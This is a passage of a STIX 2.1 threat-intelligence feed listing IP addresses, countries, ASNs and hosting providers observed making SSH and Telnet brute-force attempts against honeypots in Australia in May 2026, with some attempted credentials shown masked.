      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 62390. Organisation(s): NexonHost Srl.",
      "id": "indicator--ac554e03-842b-427b-9e95-2f79f19ddd4f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.45.12.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T04:15:10.000Z",
      "valid_until": "2026-06-06T04:15:08.000Z"
    },
    {
      "created": "2026-05-05T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--0c3b96dc-d1da-4a4f-9830-b297eb96c917",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.98.80.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T04:15:10.000Z",
      "valid_until": "2026-06-06T04:15:08.000Z"
    },
    {
      "created": "2026-05-05T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40676. Organisation(s): Psychz Networks.",
      "id": "indicator--289cb2d1-e2a1-4437-bb55-49bdbfa2e400",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '108.181.57.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T05:15:11.000Z",
      "valid_until": "2026-06-06T05:15:08.000Z"
    },
    {
      "created": "2026-05-05T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BA. ASN(s): 9146. Organisation(s): BH Telecom d.d. Sarajevo. Usernames observed (masked): a***n, 3**********4, a*****r, d*****n, o****3. Passwords observed (masked): 1**4, 1***5, 1****6, 1********0, 3***********4.",
      "id": "indicator--7f95f806-f3fd-4022-8489-9dcf3332613d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.175.27.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T05:15:11.000Z",
      "valid_until": "2026-06-06T05:15:08.000Z"
    },
    {
      "created": "2026-05-05T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 198584. Organisation(s): PIO-Hosting GmbH.",
      "id": "indicator--dee67f53-5ab7-4df2-9d80-bc5779646a50",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.131.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T05:15:11.000Z",
      "valid_until": "2026-06-06T05:15:08.000Z"
    },
    {
      "created": "2026-05-05T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14670. Organisation(s): WHG Hosting Services Ltd.",
      "id": "indicator--7b85d169-5e49-435e-87e3-a26aaccc4322",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.61.192.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T05:15:11.000Z",
      "valid_until": "2026-06-06T05:15:08.000Z"
    },
    {
      "created": "2026-05-05T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 17451. Organisation(s): BIZNET NETWORKS. Usernames observed (masked): e******r. Passwords observed (masked): e******r.",
      "id": "indicator--b1cdb670-63be-40fc-bf13-2170f4c6c685",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.253.168.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T05:15:11.000Z",
      "valid_until": "2026-06-06T05:15:08.000Z"
    },
    {
      "created": "2026-05-05T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 211043. Organisation(s): Dedifix BV.",
      "id": "indicator--46bd8487-6f1d-48f8-b661-ac189335d1c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.102.171.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T05:15:11.000Z",
      "valid_until": "2026-06-06T05:15:08.000Z"
    },
    {
      "created": "2026-05-05T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 203443. Organisation(s): Indert Connection Lp.",
      "id": "indicator--7d5a9867-08a6-409f-91dd-0985ef1eb183",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.134.49.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T05:15:11.000Z",
      "valid_until": "2026-06-06T05:15:08.000Z"
    },
    {
      "created": "2026-05-05T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 213035. Organisation(s): Des Capital B.V..",
      "id": "indicator--62a6f934-d6d1-4f5a-b3cd-a2688a9cb204",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.28.37.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T05:15:11.000Z",
      "valid_until": "2026-06-06T05:15:08.000Z"
    },
    {
      "created": "2026-05-05T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--5e018229-556b-4dbd-b37f-f1ef78742c25",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T05:15:11.000Z",
      "valid_until": "2026-06-06T05:15:08.000Z"
    },
    {
      "created": "2026-05-05T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--e147b578-26cc-40a9-8d68-9f74cf89db7a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.64.105.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T05:15:11.000Z",
      "valid_until": "2026-06-06T05:15:08.000Z"
    },
    {
      "created": "2026-05-05T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 7738. Organisation(s): V tal.",
      "id": "indicator--7fa0e99d-b4c3-47a3-bb81-9619090bf058",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.97.91.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T05:15:11.000Z",
      "valid_until": "2026-06-06T05:15:08.000Z"
    },
    {
      "created": "2026-05-05T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40676. Organisation(s): Psychz Networks.",
      "id": "indicator--e42fe36b-9dca-4f8c-a92d-d970e77cfa4c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '208.87.243.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T05:15:11.000Z",
      "valid_until": "2026-06-06T05:15:08.000Z"
    },
    {
      "created": "2026-05-05T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC. Usernames observed (masked): G************1, U*********************************************************************************************************************************A. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--38079a31-1976-41da-8b19-0a85d823b168",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T05:15:11.000Z",
      "valid_until": "2026-06-06T05:15:08.000Z"
    },
    {
      "created": "2026-05-05T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--ea0e1e2b-c319-4226-8a83-b95f5f8869dc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '220.188.223.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T05:15:11.000Z",
      "valid_until": "2026-06-06T05:15:08.000Z"
    },
    {
      "created": "2026-05-05T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--35538292-8d2f-450d-9931-4e8401cd8570",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '23.94.184.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T05:15:11.000Z",
      "valid_until": "2026-06-06T05:15:08.000Z"
    },
    {
      "created": "2026-05-05T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--81858f58-4ebc-4840-848f-ef0fab0b8992",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '23.94.200.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T05:15:11.000Z",
      "valid_until": "2026-06-06T05:15:08.000Z"
    },
    {
      "created": "2026-05-05T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. ASN(s): 36680. Organisation(s): Netiface LLC. Usernames observed (masked): s*****t. Passwords observed (masked): s*****t.",
      "id": "indicator--25c1a666-2f44-43d9-9643-cc7d8274f204",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.57.216.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T05:15:11.000Z",
      "valid_until": "2026-06-06T05:15:08.000Z"
    },
    {
      "created": "2026-05-05T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--3c8c6a2c-b516-4aa6-aae6-c1c9e1426cea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.43.176.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T05:15:11.000Z",
      "valid_until": "2026-06-06T05:15:08.000Z"
    },
    {
      "created": "2026-05-05T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 12876. Organisation(s): Scaleway SAS.",
      "id": "indicator--111f790f-3a44-47f2-a2f7-9a69829b80a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '62.210.189.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T05:15:11.000Z",
      "valid_until": "2026-06-06T05:15:08.000Z"
    },
    {
      "created": "2026-05-05T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 12876. Organisation(s): Scaleway SAS.",
      "id": "indicator--cb079cc5-af87-42ec-b1e7-d0410e8145e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '62.210.209.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T05:15:11.000Z",
      "valid_until": "2026-06-06T05:15:08.000Z"
    },
    {
      "created": "2026-05-05T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 33387. Organisation(s): Nocix, LLC.",
      "id": "indicator--65003804-b506-4860-a454-c8692b010fcb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '63.141.246.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T05:15:11.000Z",
      "valid_until": "2026-06-06T05:15:08.000Z"
    },
    {
      "created": "2026-05-05T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 17306. Organisation(s): JAB Wireless, INC..",
      "id": "indicator--0698fcb6-256b-41d7-accb-d2febff9707f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.254.192.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T05:15:11.000Z",
      "valid_until": "2026-06-06T05:15:08.000Z"
    },
    {
      "created": "2026-05-05T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--45f18fea-60e6-4248-9aea-b584b4816319",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '71.6.232.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T05:15:11.000Z",
      "valid_until": "2026-06-06T05:15:08.000Z"
    },
    {
      "created": "2026-05-05T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MD. ASN(s): 200019. Organisation(s): Alexhost Srl.",
      "id": "indicator--ea0e5493-0977-4057-806c-1cae003b06ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.208.184.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T05:15:11.000Z",
      "valid_until": "2026-06-06T05:15:08.000Z"
    },
    {
      "created": "2026-05-05T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BA. ASN(s): 25144. Organisation(s): Telekomunikacije Republike Srpske akcionarsko drustvo Banja Luka.",
      "id": "indicator--3e0914bb-4b5b-44ab-848d-5d88aaf61e18",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.250.61.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T05:15:11.000Z",
      "valid_until": "2026-06-06T05:15:08.000Z"
    },
    {
      "created": "2026-05-05T06:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--e7673861-a6a4-4246-b1ed-fc2c00304dd9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T06:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.132.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T06:15:16.000Z",
      "valid_until": "2026-06-06T06:15:08.000Z"
    },
    {
      "created": "2026-05-05T06:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--65df0fee-9a36-4f7b-b766-a5d4025e0838",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T06:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.128.53.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T06:15:16.000Z",
      "valid_until": "2026-06-06T06:15:08.000Z"
    },
    {
      "created": "2026-05-05T06:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--0effc75d-8a64-4f3e-bb3f-4047262bd7ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T06:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.152.73.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T06:15:16.000Z",
      "valid_until": "2026-06-06T06:15:08.000Z"
    },
    {
      "created": "2026-05-05T06:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: NL. ASN(s): 60223. Organisation(s): Netiface Limited. Usernames observed (masked): A*******N. Passwords observed (masked): A*****U.",
      "id": "indicator--6686c0cd-e8f6-472d-9afd-5141db1ec7bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T06:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.242.3.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T06:15:16.000Z",
      "valid_until": "2026-06-06T06:15:08.000Z"
    },
    {
      "created": "2026-05-05T06:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 8167. Organisation(s): V tal.",
      "id": "indicator--d975b1d1-cb6c-47e4-ba03-306746b750c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T06:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.54.131.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T06:15:16.000Z",
      "valid_until": "2026-06-06T06:15:08.000Z"
    },
    {
      "created": "2026-05-05T06:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HN. ASN(s): 52468. Organisation(s): UFINET PANAMA S.A..",
      "id": "indicator--18d15a4b-0785-4ff9-a76b-77534672a985",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T06:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.61.118.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T06:15:16.000Z",
      "valid_until": "2026-06-06T06:15:08.000Z"
    },
    {
      "created": "2026-05-05T06:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1013. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BG. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t, f*****r, d****y, *, ***. Passwords observed (masked): 1****6, p******d, ***, 1***5, *.",
      "id": "indicator--88ee0491-ad84-486a-a451-af3d70ae7e26",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T06:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.109.200.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T06:15:16.000Z",
      "valid_until": "2026-06-06T06:15:08.000Z"
    },
    {
      "created": "2026-05-05T06:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 5650. Organisation(s): Frontier Communications of America, Inc..",
      "id": "indicator--97212070-ab81-4704-8acb-c0bcdbf874ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T06:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.151.151.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T06:15:16.000Z",
      "valid_until": "2026-06-06T06:15:08.000Z"
    },
    {
      "created": "2026-05-05T06:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: OM. ASN(s): 28885. Organisation(s): Oman Telecommunications Company (S.A.O.G).",
      "id": "indicator--96bbf9d4-ea60-486a-9e84-71d8fd2903ec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T06:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.36.220.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T06:15:16.000Z",
      "valid_until": "2026-06-06T06:15:08.000Z"
    },
    {
      "created": "2026-05-05T06:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 12271. Organisation(s): Charter Communications Inc.",
